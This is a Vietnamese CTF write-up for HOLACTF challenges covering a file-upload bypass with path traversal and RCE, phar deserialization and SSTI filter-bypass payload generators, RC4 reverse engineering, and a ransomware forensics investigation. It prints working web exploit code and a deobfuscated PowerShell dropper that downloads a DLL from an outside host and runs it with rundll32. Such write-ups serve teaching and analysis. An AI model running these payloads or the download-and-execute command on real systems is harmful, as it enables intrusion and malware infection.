Để ý `$fileExt` filter không kĩ, ta có thể bypass bằng `img.jpg.php`. Bên cạnh đó là `filename` ta có thể path travelsal để ghi file vào `/var/www/html` thay vì folder `upoad/user/` -> `../../img.jpg.php`.


Tiếp đến là bypass openresty, tìm thấy blog về bypass openresty trên `multipart/form-data`. Bài viết mồ tả về `openresty` sẽ nhận param `filename` thứ nhất, trong khi `php` sẽ nhận param thứ hai. Ta chỉ cần truyền param `filename` là `img.jpg` và thứ hai là `../../img.jpg.php`.

![image](https://hackmd.io/_uploads/rygZEpZ9gx.png)

Cuối cùng là RCE `/index.php?page=img.jpg.php&cmd=cat+/flag*`.

![image](https://hackmd.io/_uploads/SyrGVa-qgl.png)



---

### hell_ehc
![image](https://hackmd.io/_uploads/Hy-R8ig5lg.png)
Đây là chall về bug phar deserialiation. Ta thấy chall có upload file và `unserialize`

![image](https://hackmd.io/_uploads/HJ2x8p-5ll.png)

`unserialize` chỉ cho phép class `User` và `LogFile`.

![image](https://hackmd.io/_uploads/BJZU86Wcxx.png)

Quan sát thấy magic method `__destruct` gọi tới `md5_file`, đây là một hàm chấp nhận protocol `phar://`. 

Thì stage chall này như sau: upload phar chứa payload RCE -> serialize class `LogFile` để trigger phar -> RCE.

```
<?php

class Logger
{
    public function __destruct()
    {
       
    }
}

$phar = new Phar('khiempppd.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$object = new Logger();
$object->logs = '/var/www/html/index.php';
$object->request = 'system($_GET[\'cmd\']); ?>';
$phar->setMetadata($object);
$phar->stopBuffering();
```
> gen phar

```
<?php

class LogFile
{
    public $filename;
    
    public function __destruct()
    {
    }
}

$object = new LogFile();
$object->filename = 'phar:///var/www/html/upload/dvkfdkvkdm/khiempppd.jpg';
echo base64_encode(serialize($object));
```
> gen payload trigger phar

```
GET /?page=upload HTTP/1.1
Host: localhost:9001
Cache-Control: max-age=0
sec-ch-ua: "Not.A/Brand";v="99", "Chromium";v="136"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: en-US,en;q=0.9
Origin: http://localhost:9001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: http://localhost:9001/?page=home
Accept-Encoding: gzip, deflate, br
Cookie: user=Tzo3OiJMb2dGaWxlIjoxOntzOjg6ImZpbGVuYW1lIjtzOjUyOiJwaGFyOi8vL3Zhci93d3cvaHRtbC91cGxvYWQvZHZrZmRrdmtkbS9raGllbXBwcGQuanBnIjt9
Connection: keep-alive
```
> trigger

![image](https://hackmd.io/_uploads/ByD-_6-qxl.png)



---

### Magic Random
![Screenshot 2025-08-31 074713](https://hackmd.io/_uploads/rkaB04Wcgl.png)

Đây là chall về bypass SSTI, filter hầu hết các kí tự. Còn có `shuffle` lại các kí tự không phải `a - z`, `A - Z`, `0 - 9` và space.

Ý tưởng ở đây là lợi dụng `__doc__` và `__add__` để nối thành attribute phù hợp.

```
def get_doc_indices(char, doc):
    return [i for i, c in enumerate(doc) if c == char]

def build_add_chain(word, doc):
    chain_parts = []
    for c in word:
        if c == "*":
            chain_parts.append("{}.__doc__[237]")
        else:
            indices = get_doc_indices(c, doc)
            if not indices:
                raise ValueError(f"Character '{c}' not found in docstring.")
            idx = indices[0]
            chain_parts.append(f"(()).__doc__[{idx}]")
    chain = chain_parts[0]
    for part in chain_parts[1:]:
        chain = f"({chain}).__add__({part})"
    return chain

doc = tuple.__doc__
str_sys = build_add_chain("sys", doc)
str_os = build_add_chain("os", doc)
str_popen = build_add_chain("popen", doc)
command = build_add_chain("cat flag*", doc)

payload = f"license.__repr__.__globals__[{str_sys}].modules[{str_os}][{str_popen}]({command}).read()"

print(payload)
```
> code gen payload

```
import random
import requests

url = "http://127.0.0.1:9000"

def reverse_shuffle(output, seed):
    arr = list(output)
    n = len(arr)

    indices = list(range(n))

    random.seed(seed)
    random.shuffle(indices)

    original = [None] * n
    for i, j in enumerate(indices):
        original[j] = arr[i]

    return ''.join(original)

if __name__ == "__main__":
    for seed in range(50):
        template = "{{license.__repr__.__globals__[(((()).__doc__[19]).__add__((()).__doc__[86])).__add__((()).__doc__[19])].modules[((()).__doc__[34]).__add__((()).__doc__[19])][(((((()).__doc__[84]).__add__((()).__doc__[34])).__add__((()).__doc__[84])).__add__((()).__doc__[17])).__add__((()).__doc__[7])]((((((((((()).__doc__[25]).__add__((()).__doc__[14])).__add__((()).__doc__[4])).__add__((()).__doc__[8])).__add__((()).__doc__[31])).__add__((()).__doc__[3])).__add__((()).__doc__[14])).__add__((()).__doc__[38])).__add__({}.__doc__[237])).read()}}" 
        payload = reverse_shuffle(template, seed)

        params = {"attack_name": payload}
        r = requests.get(f"{url}/api/cast_attack", params=params)
        if 'HOLACTF{' in r.text:
            print("Response:", r.text)
```
> exploit

---

## REV

### RE102
![image](https://hackmd.io/_uploads/BkGADoe9eg.png)  
![image](https://hackmd.io/_uploads/H1rfGHM9xx.png)  
file elf có vẻ bị pack bằng upx, với chút custom.  
ko rõ có cách nào unpack bằng tool hay không, nhưng mà mình chọn cách unpack bằng cách debug rồi dump ra.  
![image](https://hackmd.io/_uploads/BJO_XSMcxe.png)  
![image](https://hackmd.io/_uploads/HJejOBfcex.png)  
![image](https://hackmd.io/_uploads/H1zG9BMqgl.png)  
![image](https://hackmd.io/_uploads/r1BN5Szqel.png)  
![image](https://hackmd.io/_uploads/B15fiBGqex.png)  
![image](https://hackmd.io/_uploads/BJRviHGqll.png)  
lúc này ta có thể thấy file elf:
![image](https://hackmd.io/_uploads/BkYaiHzcll.png)  
ta dump ra được file elf:  
![image](https://hackmd.io/_uploads/rJHo3rfcgx.png)  
ta chú ý luồng full access của chương trình:  
![image](https://hackmd.io/_uploads/rkJEaSG5xl.png)  
flag được decrypt bằng mã hóa aes cbc, ta chỉ cần nhặt data ra decrypt hoặc debug rồi dump ra.  
![image](https://hackmd.io/_uploads/B1nHCrG9gx.png)  
phần khó nhất của bài này chắc là đoán format flag :\)  
flag: `HOLACTF{1b0b403ac790763ba5218d13801aa4e801c5947d4d25705006e5c603b08807f2}`

### RE103
![image](https://hackmd.io/_uploads/S1TCwsg5gg.png)  
Bài khá nhiều fake flag và anti debug, tuy nhiên ta chỉ cần chú ý luồng thắng của bài:  
![image](https://hackmd.io/_uploads/r1y8ONz9le.png)  
chú ý hàm `DecryptProtectedData`:  
```csharp=
private static string DecryptProtectedData()
{
	string result;
	try
	{
		byte[] cipherKey = NetworkConfigurationManager.ReconstructCipherKey();
		byte[] bytes = NetworkConfigurationManager.ProcessDataWithCipher(NetworkConfigurationManager.g_lpCriticalSystemData, cipherKey);
		string @string = Encoding.UTF8.GetString(bytes);
		if (!@string.StartsWith("HOLACTF{"))
		{
			throw new InvalidOperationException("Data integrity validation failed");
		}
		result = @string;
	}
	catch
	{
		result = NetworkConfigurationManager.GetFallbackResponse();
	}
		return result;
}
private static byte[] ReconstructCipherKey()
{
	byte[] array = new byte[NetworkConfigurationManager.g_bSecurityToken1.Length + NetworkConfigurationManager.g_bSecurityToken2.Length];
	for (int i = 0; i < NetworkConfigurationManager.g_bSecurityToken1.Length; i++)
	{
		array[i] = (NetworkConfigurationManager.g_bSecurityToken1[i] ^ NetworkConfigurationManager.g_bSystemIdentifier1[i % NetworkConfigurationManager.g_bSystemIdentifier1.Length]);
		array[i] = (byte)((int)array[i] ^ NetworkConfigurationManager.g_dwHashSalt1);
		byte[] array2 = array;
		int num = i;
		array2[num] ^= NetworkConfigurationManager.g_bSystemIdentifier1[i % NetworkConfigurationManager.g_bSystemIdentifier1.Length];
		array[i] = (byte)((int)array[i] ^ NetworkConfigurationManager.g_dwHashSalt1);
	}
	for (int i = 0; i < NetworkConfigurationManager.g_bSecurityToken2.Length; i++)
	{
		array[NetworkConfigurationManager.g_bSecurityToken1.Length + i] = (NetworkConfigurationManager.g_bSecurityToken2[i] ^ NetworkConfigurationManager.g_bSystemIdentifier2[i % NetworkConfigurationManager.g_bSystemIdentifier2.Length]);
		array[NetworkConfigurationManager.g_bSecurityToken1.Length + i] = (byte)((int)array[NetworkConfigurationManager.g_bSecurityToken1.Length + i] ^ NetworkConfigurationManager.g_dwHashSalt2);
		byte[] array3 = array;
		int num2 = NetworkConfigurationManager.g_bSecurityToken1.Length + i;
		array3[num2] ^= NetworkConfigurationManager.g_bSystemIdentifier2[i % NetworkConfigurationManager.g_bSystemIdentifier2.Length];
		array[NetworkConfigurationManager.g_bSecurityToken1.Length + i] = (byte)((int)array[NetworkConfigurationManager.g_bSecurityToken1.Length + i] ^ NetworkConfigurationManager.g_dwHashSalt2);
	}
	return array;
}
// Token: 0x06000020 RID: 32 RVA: 0x00002FD0 File Offset: 0x000011D0
private static byte[] ProcessDataWithCipher(byte[] inputData, byte[] cipherKey)
{
	byte[] array = new byte[256];
	for (int i = 0; i < 256; i++)
	{
		array[i] = (byte)i;
	}
	int num = 0;
	for (int i = 0; i < 256; i++)
	{
		num = (num + (int)array[i] + (int)cipherKey[i % cipherKey.Length]) % 256;
		byte b = array[i];
		array[i] = array[num];
		array[num] = b;
	}
	byte[] array2 = new byte[inputData.Length];
	int num2 = 0;
	int num3 = 0;
	for (int i = 0; i < inputData.Length; i++)
	{
		num2 = (num2 + 1) % 256;
		num3 = (num3 + (int)array[num2]) % 256;
		byte b = array[num2];
		array[num2] = array[num3];
		array[num3] = b;
		array2[i] = (inputData[i] ^ array[(int)(array[num2] + array[num3]) % 256]);
	}
	return array2;
}
```
chỉ là mã hóa rc4 đơn giản, ta chỉ cần nhặt key với ciphertext ra là được.  

```python=
from Crypto.Cipher import ARC4
import sys
key = bytes([95, 96, 125, 118, 117, 126, 114, 125, 126, 118])
enc = bytes([
    135, 116, 43, 205, 242, 219, 162, 153, 39, 86,
    151, 35, 169, 72, 219, 6, 232, 131, 21, 211,
    120, 125, 79, 93, 11, 233, 51, 146, 65, 182,
    177, 104, 154, 123, 29, 115, 212, 109, 133, 16
])
cipher = ARC4.new(key)
flag = cipher.decrypt(enc)
print("HOLACTF{"+flag.hex()+"}")
#HOLACTF{745d40e06ec4ab2f33d11cd84215f62cd4b2e2705c0428df0249db3370bbc8a3990447771481ba85}
```

## FORENSICS

### APT
![image](https://hackmd.io/_uploads/B1Gl_sg9ge.png)

1 bài for điều tra hay đến từ author TMQ, bài cung cấp cho mình 1 file ad1 và nhiệm vụ của mình là điều tra và trả lời các câu hỏi tương ứng: 
Sơ qua thì flow của chall này như sau:
`Thunderbird → ZIP → HTML → JS → BAT → DLL → tải steam.enc → RC4 giải → EXE → DLL →ransomware...`

Mở fille ad1 mà challenge cung cấp với FTK imager, ta thấy rằng author cung cấp cho ta folder Users, Winevtx chứa windows event log và folder prefetch.
Truy cập vào User tmq trên máy, ở các folder của người dùng tmq các file đã bị mã hóa với đuôi .EHC, bước đầu cho thấy rằng victim đã bị tấn công ransomeware
Ở Roaming folder mình thấy nơi đây chứa dữ liệu của Thunderbird -> lưu profile email (account, mật khẩu đã lưu, lịch sử email). 
![image](https://hackmd.io/_uploads/SJhbOIW5ge.png)
Theo đó, mình tiếp tục tìm thấy 1 email đáng ngờ được gửi lúc 19:42:55 
![image](https://hackmd.io/_uploads/HJ0tdIZcxg.png)
Mở email này với công cụ [emlreader](https://www.emlreader.com/)
![image](https://hackmd.io/_uploads/HkOyYI-qee.png)
1 email được gửi đính kèm file nén zip cùng mật khẩu là thptqg. Sau khi giải nén ta được 1 file có tên diemchuan.html
![image](https://hackmd.io/_uploads/BkoOY8-9gl.png)
Bên trong mình  tìm thấy 1 đoạn mã js xử lý chuỗi `==wckF2bs52dvRUPl1WYulXYsB3cpRmJcR3bvJ1VXdldhREXMN1UABHch5SZlJnZts2bydmbuQGNjZmZkljMhRjY1wFX642bpRXYj9Gb9IWb1J3YmYzMwIzRRRFUIR1XphGVfl3SfFWdR9FdltUP5JXZ1FnOz1WLoNmchV2c` sau đó chuyển tiếp đến đường dẫn sau khi xử lý. 
Đến đây ta có thể xác định được đây chính xác là malicous trong bài này.
#### Q1: The user opened a software that contained malicious content from the attacker. What was the name of the software? -> `Thunderbird`
#### Q2: What is the name of the file that makes user fall into the attacker's trap? -> `diemchuan.html`
Dưạ vào thông tin về tấn công ban đầu, attacker gửi email phishing cho victim bao gồm tệp malicious đính kèm 
![image](https://hackmd.io/_uploads/H1wj9L-qex.png)
#### Q3: What MITRE ATT&CK techniques did the attacker use? -> `T1566.001`
![image](https://hackmd.io/_uploads/rkfksLbcge.png)
Sau khi decode, đường dẫn được chuyển tiếp tới là 1 đường dẫn ngrok
Ban đầu mình truy cập được vào `https://5b4a29dffc4d.ngrok-free.app` và lấy được 1 file bat chứa mã powershell, tuy nhiên có vẻ đây là hướng unintended bởi vì tác giả đã đóng ngay sau đó
Nếu đúng hướng, ta có thể check windows powershell log
![image](https://hackmd.io/_uploads/H1nVywb5lx.png)
```bat
powershell -EncodedCommand UABvAHcAZQByAHMASABlAEwAbAAgAC0AIgBlACIAcAAgAEIAIgB5ACIAcABhAHMAcwAgABQgVwAgAGgAIgBpAGQAZAAiAGUAbgAgABUgYwAiAE8ATQAiAG0AYQAgACcAWwBOACIAZQB0AC4AUwBlACIAcgB2ACIAaQAiAGMAZQBQACIAbwAiAGkAbgAiAHQATQAiAGEAIgBuACIAYQAiAGcAIgBlAHIAXQA6ADoAUwAiAGUAIgBjACIAdQByACIAaQAiAHQAeQBQAHIAbwAiAHQAbwAiAGMAbwAiAGwAIAA9ACAAWwBOAGUAIgB0AC4AUwAiAGUAIgBjAHUAcgBpACIAdAAiAHkAIgBQAHIAIgBvAHQAIgBvAGMAIgBvACIAbABUAHkAIgBwAGUAXQA6ADoAVAAiAGwAIgBzACIAMQAyADsAIAAkAHAAIAA9ACAASgBvACIAaQAiAG4ALQBQAGEAIgB0ACIAaAAgACQAZQBuAHYAOgBUAEUATQBQACAAIgBsAC4AZAAiAGwAIgBsACIAOwAgAGkAdwByACAAIgBoACIAdAAiAHQAIgBwACIAcwA6AC8AIgAvAGYAaQAiAGwAZQBzAC4AcwBhAGsAYQAiAG0AIgBvACIAdAAiAG8ALgBtAG8AIgBlAC8ANAAxACIAZAAiAGIAZQA3ACIAYQBjACIANwBiACIANwAzAF8AbABvAGEAZABlAHIALgBkAGwAbAAiACAALQAiAE8AIgB1ACIAdAAiAEYAIgBpACIAbABlACAAJABwADsAIABTACIAdAAiAGEAcgB0AC0AIgBQACIAcgAiAG8AYwBlACIAcwBzACAAcgB1ACIAbgAiAGQAbABsADMAIgAyACIAIAAtAEEAcgBnACIAdQAiAG0AZQAiAG4AIgB0ACIATABpACIAcwB0ACAAIgAkAHAALABSAHUAbgAiACAALQBXACIAYQAiAGkAdAA7ACAAZABlAGwAIAAkAHAAIAAtAEYAIgBvACIAcgBjAGUAJwA=
```
![image](https://hackmd.io/_uploads/HyUK1wWqll.png)
Sau khi  deobf sẽ thành như sau 
```powershell!
Powershell -ep Bypass -WindowStyle Hidden -Command '
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;
$p = Join-Path $env:TEMP "l.dll";
iwr "https://files.sakamoto.moe/41dbe7ac7b73_loader.dll" -OutFile $p;
Start-Process rundll32 -ArgumentList "$p,Run" -Wait;
del $p -Force
'
```
Tiếp tục tải xuống file dll từ url `https://files.sakamoto.moe/41dbe7ac7b73_loader.dll` và lưu vào file `l.dll`
#### Q4: What is the domain of the website where the malicious file for stage 2 is located? -> sakamoto.moe
Truy cập url để tải file về,  mở với ida để xem
```c
__int64 FlowAllocation()
{
  char v1[272]; // [rsp+20h] [rbp-60h] BYREF
  CHAR Buffer[268]; // [rsp+130h] [rbp+B0h] BYREF
  unsigned int v3; // [rsp+23Ch] [rbp+1BCh] BYREF
  _QWORD v4[5]; // [rsp+240h] [rbp+1C0h] BYREF
  char v5[16]; // [rsp+268h] [rbp+1E8h] BYREF
  HGLOBAL hMem; // [rsp+278h] [rbp+1F8h]

  qmemcpy(v4, "2..*)`uu<36?)t);1;75.5t75?u;j<nn", 32);
  v4[4] = 0x5626E6D3F696D68LL;
  strcpy(v5, ").?;7t?49");
  LoopForHook(v4, 49LL);
  v3 = 0;
  hMem = (HGLOBAL)IsBufferLoader(v4, &v3);
  if ( !hMem || !v3 )
    return 1LL;
  WriteMemcpy(hMem, v3, "C:\\Users\\public\\Miyamizu_Mitsuha.yourname");
  RC4(&unk_33E154020, 16LL, hMem, v3);
  GetTempPathA(0x104u, Buffer);
  sprintf(v1, "%ssteam.exe", Buffer);
  WriteMemcpy(hMem, v3, v1);
  GlobalFree(hMem);
  DeleteAPI(v1);
  return 0LL;
}
unsigned __int64 __fastcall LoopForHook(__int64 a1, unsigned __int64 a2)
{
  unsigned __int64 result; // rax
  unsigned __int64 i; // [rsp+8h] [rbp-8h]

  for ( i = 0LL; ; ++i )
  {
    result = i;
    if ( i >= a2 )
      break;
    *(_BYTE *)(a1 + i) ^= 0x5Au;
  }
  return result;
}
char *__fastcall IsBufferLoader(const CHAR *a1, _DWORD *a2)
{
  DWORD dwNumberOfBytesRead; // [rsp+3Ch] [rbp-24h] BYREF
  char *v4; // [rsp+40h] [rbp-20h]
  HINTERNET hFile; // [rsp+48h] [rbp-18h]
  HINTERNET hInternet; // [rsp+50h] [rbp-10h]
  int v7; // [rsp+5Ch] [rbp-4h]

  hInternet = InternetOpenA("L", 1u, 0LL, 0LL, 0);
  if ( !hInternet )
    return 0LL;
  hFile = InternetOpenUrlA(hInternet, a1, 0LL, 0, 0x80000000, 0LL);
  if ( hFile )
  {
    v4 = (char *)GlobalAlloc(0x40u, 0x7800000uLL);
    if ( v4 )
    {
      v7 = 0;
      for ( dwNumberOfBytesRead = 0;
            InternetReadFile(hFile, &v4[v7], 0x2000u, &dwNumberOfBytesRead) && dwNumberOfBytesRead;
            v7 += dwNumberOfBytesRead )
      {
        ;
      }
      *a2 = v7;
      InternetCloseHandle(hFile);
      InternetCloseHandle(hInternet);
      return v4;
    }
    else
    {
      return 0LL;
    }
  }
  else
  {
    InternetCloseHandle(hInternet);
    return 0LL;
  }
}
```
Chuỗi URL được lưu obfuscate trong code → giải mã bằng XOR (0x5A). Tải payload từ Internet (qua WinInet) và lưu vào file Miyamizu_Mitsuha.yourname. Giải mã payload bằng RC4. Ghi ra file giả dạng steam.exe trong %TEMP%. Cuối cùng là xóa dấu vết
```python!
def xor_decode(data: bytes, key: int = 0x5A) -> str:
    return ''.join(chr(b ^ key) for b in data)

def main():
    v4 = bytearray(b"2..*)`uu<36?)t);1;75.5t75?u;j<nn")
    v4.extend((0x5626E6D3F696D68).to_bytes(8, "little"))
    v5 = bytearray(b").?;7t?49")
    url_prefix = xor_decode(v4)
    url_suffix = xor_decode(v5)
    full_url = url_prefix + url_suffix
    print(full_url)

if __name__ == "__main__":
    main()
```
Sau khi giải mã kết qủa là `https://files.sakamoto.moe/a0f44273e748_steam.enc`

#### Q5: Digging into the malicious file, what was the original name of the encrypted file that was downloaded?  -> `steam.enc`
Sau khi tải xuống, đoạn mã  giải mã  bằng rc4 với key là danh sách các byte trong unk_33E154020
![image](https://hackmd.io/_uploads/HyLymwW5ll.png)
#### Q6: What is the encryption algorithm and key to decrypt the encrypted payload? (Convert it to hex) -> `RC4_0x3a,0x2d,0x1c,0x4d,0x5e,0x2f,0x7b,0x81,0x3d,0xab,0xbc,0xcd,0xde,0x2f,0xf0,0x01`

```python!
from Crypto.Cipher import ARC4

def rc4_decrypt_file(input_file, output_file, key_bytes):
    # Đọc dữ liệu đã mã hóa
    with open(input_file, 'rb') as f:
        encrypted_data = f.read()

    # Tạo đối tượng RC4 và giải mã
    cipher = ARC4.new(key_bytes)
    decrypted_data = cipher.decrypt(encrypted_data)

    # Ghi dữ liệu đã giải mã ra file
    with open(output_file, 'wb') as f:
        f.write(decrypted_data)

    print(f"✅ Đã giải mã thành công: {output_file}")

# --- Thiết lập ---
input_file = "C:/Users/Admin/Downloads/a0f44273e748_steam.enc"
output_file = "C:/Users/Admin/Downloads/sus.exe"
key_hex = [0x3a, 0x2d, 0x1c, 0x4d, 0x5e, 0x2f, 0x7b, 0x81,
           0x3d, 0xab, 0xbc, 0xcd, 0xde, 0x2f, 0xf0, 0x01]
key_bytes = bytes(key_hex)

# --- Thực hiện giải mã ---
rc4_decrypt_file(input_file, output_file, key_bytes)
```


#### Q7: In stage 3, which C2 IP address is the user's network traffic transmit to?
Câu này để tiết kiệm thời gian thì mình phân tích động nó luôn rồi bật wireshark bắt ip, có được địa chỉ ip:  
=> `192.168.244.129`

TTruy vết các file bị mã hóa với file prefetch của steam.exe
![image](https://hackmd.io/_uploads/rkCvmvb5gl.png)
Tuy nhiên mặc định của PEcmd là upercase các chuỗi, nên mình tìm tên file ghi trong đĩa
![image](https://hackmd.io/_uploads/rkPTmPZclx.png)
#### Q8: The attacker made a mistake, take advantage of it and tell us the name of files encrypted by attacker's ransomware in folder Videos ? -> `video.mp4`
Okay, bây giờ tiến hành giải phẫu để phân tích file exe, trước tiên mình dùng die để xacs định thông tin của nó
![image](https://hackmd.io/_uploads/SyNd4PW9eg.png)
Overlay: offset 0x0090d600, size ~ 52 MB (!) → vùng dữ liệu lạ nằm sau phần PE chuẩn. Đây thường là:

    Payload được nhúng (encrypted blob).

    Hoặc dữ liệu packer sử dụng để giải nén khi runtime.
-> File có thể được drop ra từ loader (steam.exe) mà bạn phân tích trước đó.
![image](https://hackmd.io/_uploads/BJpdDvWqgx.png)
Trong phần export lại thấy có chuỗi singlefilehost.exe. Đây là host binary (trình chạy) của .NET Core/.NET 5+ dùng cho các ứng dụng kiểu Single-File Deployment.
Khi build app .NET ở dạng self-contained single file (dotnet publish -r win-x64 -p:PublishSingleFile=true), .NET sẽ đóng gói tất cả DLL + runtime vào một file duy nhất.
File chạy chính lúc đó thực chất là một bản singlefilehost.exe đã được Microsoft cung cấp, nó chịu trách nhiệm:

    Giải nén hoặc map các thành phần .NET runtime cần thiết từ trong chính nó.

    Load CLR (Common Language Runtime).

    Chạy code C# của bạn (assembly chính).

Nói cách khác, sus.exe mà ta phân tích thật ra chỉ là singlefilehost.exe được đổi tên + kèm payload .NET app ở bên trong.
Sau khi xác định được loại file che dấu bên trong, mình tìm các lấy file dll gốc ra
![image](https://hackmd.io/_uploads/SybduDW5xe.png)
Mình tìm thấy công cụ [này](https://github.com/Droppers/SingleFileExtractor)

```bash
┌──(kali㉿kali)-[~/Downloads/holactf/THPT]
└─$ sfextract sus.exe --output extract
Entry point: minecraft.dll
Bundle version: 6.0
Extracted 168 files to "extract"
```
![image](https://hackmd.io/_uploads/rkZAdDW9lg.png)
Mở nó với dnspy để phân tích





#### Q9: What are the contents of the file flag.txt? (Convert the content of the flag.txt to md5 and submit)
Ok giờ là đến bước rev con dotnet mà ta mới trích được ra, do mình gà khoản rev nên mình cho vô dnspy rồi cop hết các hàm cho ai, được nó phân tích như sau:  

![image](https://hackmd.io/_uploads/rJNE2cZcel.png)


1) Obfuscation bằng emoji → Base64 → UTF-8

* Mọi hằng chuỗi (đường dẫn, tên file, URL, public key, phần mở rộng, v.v.) đều được viết bằng **emoji**.
* Hàm giải mã: `NxfINLZaaZZezaCgDHsGdzSaNiURAmtiyEBgprNsxjKzd(java)`
  → duyệt từng “text element” (emoji) → ánh xạ ngược qua `pdZuVvKNPFSscmrJcOBSJjLEW` để thu được **bảng chữ cái base64** → `Convert.FromBase64String` → UTF-8 string.
  \=> Đây là “string decoder” cho toàn bộ chương trình.&#x20;

2) Khởi động (Main) → truyền tham số đã giải mã

* `Main()` giải mã một chuỗi siêu dài thành **RSA public key** của attacker (chuỗi bắt đầu kiểu “MIIBI…”) và một **danh sách thư mục con** (relative to `%USERPROFILE%`) để mã hoá (thấy thực tế là **Documents / Pictures / Videos / Downloads / Desktop** – khớp với dấu vết `Documents`, `Pictures`, `Videos` trong Prefetch bạn trích).
* Sau đó gọi:
  `eLzUcATejKPOKKMlaYnpnwtwzJclOfwjWFRoaxlxd(dirs, pubKey)`.&#x20;

3) Tạo khoá phiên & cơ chế mã hoá file

3.1. Sinh key 32-byte:

* `OVixtxAlZgODrcwOVgagxeWAk()` → lấy 1024 byte **RNGCryptoServiceProvider** (CSPRNG), copy vào mảng `int[256]`.
* Tạo PRNG **ISAAC** với seed trên → rút **32 byte** cho biến `array` (đây là **file-key** lặp).&#x20;

3.2. “Khoá hiệu dụng” = biến đổi 1 byte lặp

* Biến đổi 1 byte: `gbTxSBXvOnHlWXYrw(b, rounds)` với `rounds=3`:
  mỗi vòng: `b = ((b ^ 0xA5) + 37) & 0xFF`.
* Mã hoá cả file: `TxWVCaCGswNFFkFNyyuGYebzTnmKMI(plaintext, key=array, rounds=3)`
  → với từng vị trí i:
  `E[i] = P[i] XOR F( array[i mod 32] )`, trong đó `F(x)` = áp dụng phép **XOR 0xA5 rồi +37** **3 lần**.
  \=> Thuật toán là **XOR lặp 32-byte với key đã “nắn” qua F** (tự đảo ngược bằng XOR, nên giải mã = XOR lại với cùng “keystream”).&#x20;

4) Đổi tên & mở rộng file sau khi mã hoá

* Tạo tên ngẫu nhiên 20 ký tự: `eOUFdPmHAHcqPJQRyafSXBf(20)` (alphabet “Kitakitasuru…”) → nhìn giống tiền tố “Kita…”.
* Phần mở rộng giải từ emoji ra chính là **`.EHC`** (khớp hiện trường: `XRYVSOZYAITKUZSIKTRX.EHC`, `…\PICTURES\*.EHC`, v.v.).
* Mỗi file gốc được ghi thành `<random20>.EHC` rồi **xoá file gốc**.&#x20;

5) Thu thập & exfil khoá (attacker “chữa cháy” để tự giải)

5.1. Bọc key 32B bằng AES rồi RSA:

* `lSJNJosACuzaDIkQoaEIkvSckaEPgrBKmY(data=array, out key, out iv)`
  → key/iv **được suy ra từ SHA-256** của một **chuỗi hằng** giải qua emoji (copy 32 byte cho AES-256 key, 16 byte cuối cho IV), rồi **AES-CBC/PKCS7 encrypt** chính `array`.
* `ddAxJkAciSG( AES(data) || key || iv , pubKey )`
  → **RSA-OAEP(SHA256) encrypt** toàn bộ gói trên bằng **public key** của attacker.
  (Việc lồng AES rồi lại RSA chỉ để “màu mè”; bản chất attacker cầm private key là đọc ra được `array`.)&#x20;

5.2. Lưu dấu vết & nén:

* Tạo thư mục `%TEMP%\MAICRAFT_<GUID>\` (tên giải từ emoji; hiện trường đúng có `…\TEMP\MAICRAFT_...`).
* Ghi file (tên giải ra “**KITA.KEY**”) chứa **blob RSA** ở trên.
* Ghi thêm **danh sách các file đã mã hoá** (list path).
* `lzzmjArGgUUExMs…(outputArchive, files...)` → gọi **7z** (đường dẫn + tham số giải từ emoji) để nén tất cả thành **.7z**.&#x20;

5.3. Upload C2:

* `hVQylKhewOSgWxHuxbNcBpLUQmdgVGemoKmKEvbqat(archive)` → **HTTP POST** lên URL **giải từ emoji**, **bỏ qua kiểm tra chứng chỉ** (`DangerousAcceptAnyServerCertificateValidator`).
* Chờ 5s → **xoá sạch** thư mục tạm.&#x20;

6) Thư mục bị tác động

Trong `eLzUcAT…`, chương trình lấy `folderPath = %USERPROFILE%` rồi **ghép các “dirs” đã giải mã**; với mẫu CTF này khớp `Documents / Pictures / Videos / Downloads / Desktop` (bạn đã thấy Prefetch & hiện trường có `…\DOCUMENTS`, `…\PICTURES`, `…\VIDEOS`).&#x20;

7) Vì sao Q9 giải được dù key là ngẫu nhiên?

* “Sai lầm” của attacker: để **lộ file gốc** (Q8: `VIDEO.MP4`).
* Do **E = P XOR G** (G là keystream 32-byte sau khi qua F), ta rút ngay **G = P XOR E** từ cặp `video.mp4` ↔ `video.mp4.ehc`.
* Có G rồi thì **giải mọi file khác**, trong đó có `flag.txt.ehc`, **không cần** biết `array` hay đảo ngược F. (Bạn đã trích được **keystream period 32** – chuẩn với code.)&#x20;
```c
// Main
pubKey = DecodeEmojiB64(EMOJI_STR);
dirs   = [DecodeEmojiB64(...), ...];              // relative under %USERPROFILE%
RunRansom(pubKey, dirs);

// RunRansom
seed  = RNGCrypto(1024 bytes) -> int[256];
isaac = ISAAC(seed);
array = isaac.nextBytes(32);                      // file-key (period 32)

// Encrypt files
for file in Enumerate(%USERPROFILE%\dirs):
    keystream[i] = F(array[i mod 32]);            // F(x): repeat 3 times { x = (x ^ 0xA5) + 37 }
    E[i] = P[i] XOR keystream[i];
    name = RandString(20, "Kitakitasuru..") + ".EHC";
    write(name, E), delete(file);

// Exfil key & list
aesKey, iv = DeriveFrom(SHA256(DecodeEmojiB64(...)));
payload    = RSA_OAEP( AES_CBC_Encrypt(array, aesKey, iv) || aesKey || iv , pubKey );
write(%TEMP%\MAICRAFT_<GUID>\KITA.KEY, payload);
write(%TEMP%\MAICRAFT_<GUID>\filelist.txt, list);

// Pack & upload
SevenZip(%TEMP%\MAICRAFT_<GUID>\dump.7z, all_files_in_folder);
HTTP_POST(DecodeEmojiB64(URL), dump.7z, ignore_cert=true);
cleanup();
```
Ở (7) mình đã chỉ ra: attacker lỡ để sót bản gốc của mẫu video trong vùng tạm VMwareDnD:

![image](https://hackmd.io/_uploads/ryVP-fM9xl.png)
![image](https://hackmd.io/_uploads/BJDD4zzceg.png)


Trong khi bản trong Videos đã bị mã hoá và đổi tên sang đuôi .EHC. Với cặp plaintext ↔ ciphertext này, ta áp dụng known-plaintext:
